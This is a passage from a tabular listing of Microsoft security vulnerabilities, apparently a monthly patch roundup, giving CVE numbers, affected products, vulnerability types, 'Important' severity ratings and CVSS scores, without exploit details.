No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege 